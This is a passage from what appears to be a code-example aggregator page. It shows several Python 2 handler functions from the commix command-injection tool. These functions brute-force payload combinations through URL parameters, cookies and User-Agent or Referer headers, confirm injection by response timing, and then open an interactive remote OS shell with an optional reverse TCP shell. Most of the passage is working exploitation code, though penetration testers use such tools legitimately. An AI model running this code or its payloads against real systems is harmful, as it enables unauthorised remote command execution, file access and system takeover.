                        elif os_shell_option == "reverse_tcp":
                          # Set up LHOST / LPORT for The reverse TCP connection.
                          lhost, lport = reverse_tcp.configure_reverse_tcp()
                          while True:
                            if lhost and lport in settings.SHELL_OPTIONS:
                              result = checks.check_reverse_tcp_options(lhost)
                            else:  
                              cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
                              result = checks.check_reverse_tcp_options(cmd)
                            if result != None:
                              if result == 0:
                                return False
                              elif result == 1 or result == 2:
                                go_back_again = True
                                break
                            # Command execution results.
                            from src.core.injections.results_based.techniques.classic import cb_injector
                            whitespace = settings.WHITESPACES[0]
                            response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            # Evaluate injection results.
                            shell = cb_injector.injection_results(response, TAG)
                            # Exploirt injection result
                            if menu.options.verbose:
                              print ""
                            print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                        else:
                          pass
                        
                      else:
                        print ""
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                        # Exploirt injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        print ""
                    except KeyboardInterrupt: 
                      raise

                    except SystemExit: 
                      raise
                      
                elif gotshell in settings.CHOISE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOISE_QUIT:
                  sys.exit(0)

                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
            
            break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 39
0
def cb_injection_handler(url, delay, filename, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded= False
  export_injection_info = False

  injection_type = "Results-based Command Injection"
  technique = "classic injection technique"
      
  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()
  
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACES:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          i = i + 1

          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
          
          randv1 = random.randrange(100)
          randv2 = random.randrange(100)
          randvcalc = randv1 + randv2
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
        
          try:
            if alter_shell:
              # Classic -alter shell- decision payload (check if host is vulnerable).
              payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
            else:
              # Classic decision payload (check if host is vulnerable).
              payload = cb_payloads.decision(separator, TAG, randv1, randv2)
            
            # Define prefixes & suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if separator == " " :
              payload = re.sub(" ", "%20", payload)
            else:
              payload = re.sub(" ", whitespace, payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)
              
            # if need page reload
            if menu.options.url_reload:
              time.sleep(delay)
              response = urllib.urlopen(url)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
            else:
              # Check if target host is vulnerable.
              response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)

            # Evaluate test results.
            shell = cb_injector.injection_test_results(response, TAG, randvcalc)

            if not menu.options.verbose:
              percent = ((i*100)/total)
              if percent == 100:
                if no_result == True:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = str(percent)+"%"
              elif len(shell) != 0:
                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
              else:
                percent = str(percent)+"%"
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              
          except KeyboardInterrupt: 
            raise
          
          except:
            continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if settings.COOKIE_INJECTION == True: 
              http_request_method = "cookie"
              found_vuln_parameter = vuln_parameter
            else:
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
            logs.upload_payload(filename, counter, payload) 
            counter = counter + 1
            
            # Print the findings to terminal.
            print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
            print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
              
            # Check for any enumeration options.
            cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)

            # Check for any system file access options.
            cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
            
            # Pseudo-Terminal shell
            while True:
              gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
              if gotshell in settings.CHOISE_YES:
                print ""
                print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
                while True:
                  try:
                    cmd = raw_input("Shell > ")
                    if cmd == "q":
                      sys.exit(0)
                      
                    else:
                      # Command execution results.
                      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
                      
                      # if need page reload
                      if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)
                        
                      # Evaluate injection results.
                      shell = cb_injector.injection_results(response, TAG)
                      if shell:
                        shell = "".join(str(p) for p in shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                  except KeyboardInterrupt: 
                    print ""
                    sys.exit(0)

              elif gotshell in settings.CHOISE_NO:
                if menu.options.verbose:
                  sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
                  sys.stdout.flush()
                break
              
              else:
                if gotshell == "":
                  gotshell = "enter"
                print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                pass
              
  if no_result == True:
    if menu.options.verbose == False:
      print ""
      return False
    else:
      print ""
      return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 40
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method,
                          url_time_response):
    # percent = "0.2"
    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    how_long_statistic = 0
    export_injection_info = False
    how_long = 0
    injection_type = "Semiblind Command Injection"
    technique = "tempfile-based injection technique"

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL

    # percent = str(percent)+ "%"
    # sys.stdout.write("\r(*) Testing the " + technique + "... " +  "[ " + percent + " ]")
    # sys.stdout.flush()

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:
                num_of_chars = num_of_chars + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive resutls.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase)
                    for num_of_chars in range(6))

                # The output file for file-based injection technique.
                OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
                alter_shell = menu.options.alter_shell
                tag_length = len(TAG) + 4

                for output_length in range(1, int(tag_length)):
                    try:
                        # Tempfile-based decision payload (check if host is vulnerable).
                        if alter_shell:
                            payload = tfb_payloads.decision_alter_shell(
                                separator, output_length, TAG, OUTPUT_TEXTFILE,
                                delay, http_request_method)
                        else:
                            payload = tfb_payloads.decision(
                                separator, output_length, TAG, OUTPUT_TEXTFILE,
                                delay, http_request_method)

                        # Fix prefixes / suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        # Encode payload to Base64
                        if menu.options.base64:
                            payload = base64.b64encode(payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write("\n" + Fore.GREY +
                                             "(~) Payload: " +
                                             payload.replace("\n", "\\n") +
                                             Style.RESET_ALL)

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            how_long = tfb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(
                                menu.options.agent)
                            how_long = tfb_injector.user_agent_injection_test(
                                url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(
                                menu.options.referer)
                            how_long = tfb_injector.referer_injection_test(
                                url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            how_long, vuln_parameter = tfb_injector.injection_test(
                                payload, http_request_method, url)

                        # Injection percentage calculation
                        percent = ((num_of_chars * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((num_of_chars * 100) / (total * 1.0)), 2))

                        # Statistical analysis in .
                        how_long_statistic = how_long_statistic + how_long
                        if output_length == tag_length - 1:
                            how_long_statistic = 0

                        if percent == 100 and no_result == True:
                            if not menu.options.verbose:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = ""
                        else:
                            if (url_time_response == 0 and (how_long - delay) >= 0) or \
                               (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                               (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                # Time relative false positive fixation.
                                if len(TAG) == output_length and \
                                    how_long > (how_long_statistic / output_length):
                                    settings.FOUND_HOW_LONG = how_long
                                    settings.FOUND_DIFF = how_long - delay
                                    randv1 = random.randrange(0, 1)
                                    randv2 = random.randrange(1, 2)
                                    randvcalc = randv1 + randv2

                                    if settings.TARGET_OS == "win":
                                        if alter_shell:
                                            cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")\""
                                        else:
                                            cmd = "powershell.exe -InputFormat none write (" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")"
                                    else:
                                        cmd = "echo $((" + str(
                                            randv1) + " + " + str(
                                                randv2) + "))"

                                    # Check for false positive resutls
                                    how_long, output = tfb_injector.false_positive_check(
                                        separator, TAG, cmd, prefix, suffix,
                                        delay, http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        randvcalc, alter_shell, how_long,
                                        url_time_response)

                                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                        if str(output) == str(
                                                randvcalc) and len(
                                                    TAG) == output_length:
                                            is_vulnerable = True
                                            how_long_statistic = 0
                                            if not menu.options.verbose:
                                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                            else:
                                                percent = ""
                                    else:
                                        break
                                # False positive
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write("\r(*) Testing the " +
                                                         technique + "... " +
                                                         "[ " + percent + " ]")
                                        sys.stdout.flush()
                                    continue
                            else:
                                if not menu.options.verbose:
                                    percent = str(float_percent) + "%"
                                    sys.stdout.write("\r(*) Testing the " +
                                                     technique + "... " +
                                                     "[ " + percent + " ]")
                                    sys.stdout.flush()
                                continue
                        if not menu.options.verbose:
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd,
                                              prefix, suffix,
                                              http_request_method, url,
                                              vuln_parameter, OUTPUT_TEXTFILE,
                                              alter_shell, filename)
                        raise

                    except SystemExit:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd,
                                              prefix, suffix,
                                              http_request_method, url,
                                              vuln_parameter, OUTPUT_TEXTFILE,
                                              alter_shell, filename)
                        raise

                    except:
                        percent = ((num_of_chars * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((num_of_chars * 100) / (total * 1.0)), 2))
                        if percent == 100:
                            if no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    sys.stdout.write("\r(*) Testing the " +
                                                     technique + "... " +
                                                     "[ " + percent + " ]")
                                    sys.stdout.flush()
                                else:
                                    percent = ""
                                break
                            else:
                                percent = str(float_percent) + "%"
                            #Print logs notification message
                            percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()
                            print ""
                            logs.logs_notification(filename)
                            raise
                        else:
                            percent = str(float_percent) + "%"
                        break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                        if (len(TAG) == output_length) and (is_vulnerable
                                                            == True):
                            found = True
                            no_result = False
                            is_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " Cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " HTTP header"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(
                                        url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename,
                                    injection_type, technique)
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, http_request_method,
                                    vuln_parameter, payload)
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            # Print the findings to terminal.
                            print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                            ) + Style.RESET_ALL + ""
                            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                                "%20", " ", payload.replace(
                                    "\n", "\\n")) + Style.RESET_ALL

                            if settings.TARGET_OS == "win":
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                time.sleep(1)

                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    enumerate_again = raw_input(
                                        "\n(?) Do you want to enumerate again? [Y/n/q] > "
                                    ).lower()
                                    if enumerate_again in settings.CHOISE_YES:
                                        tfb_enumeration.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, delay,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename,
                                            url_time_response)
                                        break
                                    elif enumerate_again in settings.CHOISE_NO:
                                        break
                                    elif enumerate_again in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename)
                                        sys.exit(0)
                                    else:
                                        if enumerate_again == "":
                                            enumerate_again = "enter"
                                        print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tfb_enumeration.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename, url_time_response)

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                while True:
                                    file_access_again = raw_input(
                                        "(?) Do you want to access files again? [Y/n] > "
                                    ).lower()
                                    if file_access_again in settings.CHOISE_YES:
                                        tfb_file_access.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, delay,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename,
                                            url_time_response)
                                        break
                                    elif file_access_again in settings.CHOISE_NO:
                                        break
                                    elif file_access_again in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename)
                                        sys.exit(0)
                                    else:
                                        if file_access_again == "":
                                            file_access_again = "enter"
                                        print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tfb_file_access.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename, url_time_response)
                            # Check if defined single cmd.
                            if menu.options.os_cmd:
                                check_how_long, output = tfb_enumeration.single_os_cmd_exec(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename, url_time_response)
                                # Export injection result
                                tfb_injector.export_injection_results(
                                    cmd, separator, output, check_how_long)
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                sys.exit(0)

                            try:
                                # Pseudo-Terminal shell
                                go_back = False
                                go_back_again = False
                                while True:
                                    # Delete previous shell (text) files (output) from temp.
                                    delete_previous_shell(
                                        separator, payload, TAG, cmd, prefix,
                                        suffix, http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    if menu.options.verbose:
                                        print ""
                                    if go_back == True:
                                        break
                                    gotshell = raw_input(
                                        "(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
                                    ).lower()
                                    if gotshell in settings.CHOISE_YES:
                                        print ""
                                        print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                        if readline_error:
                                            checks.no_readline_module()
                                        while True:
                                            try:
                                                # Tab compliter
                                                if not readline_error:
                                                    readline.set_completer(
                                                        menu.tab_completer)
                                                    # MacOSX tab compliter
                                                    if getattr(
                                                            readline,
                                                            '__doc__', ''
                                                    ) is not None and 'libedit' in getattr(
                                                            readline,
                                                            '__doc__', ''):
                                                        readline.parse_and_bind(
                                                            "bind ^I rl_complete"
                                                        )
                                                    # Unix tab compliter
                                                    else:
                                                        readline.parse_and_bind(
                                                            "tab: complete")
                                                cmd = raw_input(
                                                    """commix(""" +
                                                    Style.BRIGHT + Fore.RED +
                                                    """os_shell""" +
                                                    Style.RESET_ALL +
                                                    """) > """)
                                                cmd = checks.escaped_cmd(cmd)
                                                if cmd.lower(
                                                ) in settings.SHELL_OPTIONS:
                                                    os_shell_option = checks.check_os_shell_options(
                                                        cmd.lower(), technique,
                                                        go_back, no_result)
                                                    if os_shell_option == False:
                                                        if no_result == True:
                                                            return False
                                                        else:
                                                            return True
                                                    elif os_shell_option == "quit":
                                                        # Delete previous shell (text) files (output) from temp.
                                                        delete_previous_shell(
                                                            separator, payload,
                                                            TAG, cmd, prefix,
                                                            suffix,
                                                            http_request_method,
                                                            url,
                                                            vuln_parameter,
                                                            OUTPUT_TEXTFILE,
                                                            alter_shell,
                                                            filename)
                                                        sys.exit(0)
                                                    elif os_shell_option == "back":
                                                        go_back = True
                                                        break
                                                    elif os_shell_option == "os_shell":
                                                        print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                                    elif os_shell_option == "reverse_tcp":
                                                        # Set up LHOST / LPORT for The reverse TCP connection.
                                                        lhost, lport = reverse_tcp.configure_reverse_tcp(
                                                        )
                                                        while True:
                                                            if lhost and lport in settings.SHELL_OPTIONS:
                                                                result = checks.check_reverse_tcp_options(
                                                                    lhost)
                                                            else:
                                                                cmd = reverse_tcp.reverse_tcp_options(
                                                                    lhost,
                                                                    lport)
                                                                result = checks.check_reverse_tcp_options(
                                                                    cmd)
                                                            if result != None:
                                                                if result == 0:
                                                                    return False
                                                                elif result == 1 or result == 2:
                                                                    go_back_again = True
                                                                    break
                                                            # Command execution results.
                                                            from src.core.injections.results_based.techniques.classic import cb_injector
                                                            separator = checks.time_based_separators(
                                                                separator,
                                                                http_request_method
                                                            )
                                                            whitespace = settings.WHITESPACES[
                                                                0]
                                                            response = cb_injector.injection(
                                                                separator, TAG,
                                                                cmd, prefix,
                                                                suffix,
                                                                whitespace,
                                                                http_request_method,
                                                                url,
                                                                vuln_parameter,
                                                                alter_shell,
                                                                filename)
                                                            # Evaluate injection results.
                                                            shell = cb_injector.injection_results(
                                                                response, TAG)
                                                            if menu.options.verbose:
                                                                print ""
                                                            print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                                                    else:
                                                        pass
                                                else:
                                                    print ""
                                                    # The main command injection exploitation.
                                                    check_how_long, output = tfb_injector.injection(
                                                        separator, maxlen, TAG,
                                                        cmd, prefix, suffix,
                                                        delay,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        OUTPUT_TEXTFILE,
                                                        alter_shell, filename,
                                                        url_time_response)
                                                    # Export injection result
                                                    tfb_injector.export_injection_results(
                                                        cmd, separator, output,
                                                        check_how_long)
                                            except KeyboardInterrupt:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator, payload, TAG,
                                                    cmd, prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
                                                raise
                                            except SystemExit:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator, payload, TAG,
                                                    cmd, prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
                                                raise

                                    elif gotshell in settings.CHOISE_NO:
                                        if checks.next_attack_vector(
                                                technique, go_back) == True:
                                            break
                                        else:
                                            if no_result == True:
                                                return False
                                            else:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator, payload, TAG,
                                                    cmd, prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
                                                return True
                                    elif gotshell in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename)
                                        sys.exit(0)
                                    else:
                                        if gotshell == "":
                                            gotshell = "enter"
                                        print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            except KeyboardInterrupt:
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                raise

                            except SystemExit:
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                raise

                        break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 41
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
  
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  export_injection_info = False
  
  injection_type = "Semiblind-based Command Injection"
  technique = "tempfile-based injection technique"
  
  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = menu.options.maxlen
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        # Change TAG on every request to prevent false-positive resutls.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

        # The output file for file-based injection technique.
        OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
        alter_shell = menu.options.alter_shell
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Tempfile-based decision payload (check if host is vulnerable).
            if alter_shell :
              payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
            else:
              payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)
              
            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
                
            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
              
            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""
            else:
              if (url_time_response <= 1 and how_long >= delay) or \
              (url_time_response >= 2 and how_long > delay):

                # Time relative false positive fixation.
                randv1 = random.randrange(0, 1)
                randv2 = random.randrange(1, 2)
                randvcalc = randv1 + randv2

                cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
                output  = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
                if str(output) == str(randvcalc):
                  if not menu.options.verbose:
                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  break
                    
              else:
                percent = str(percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
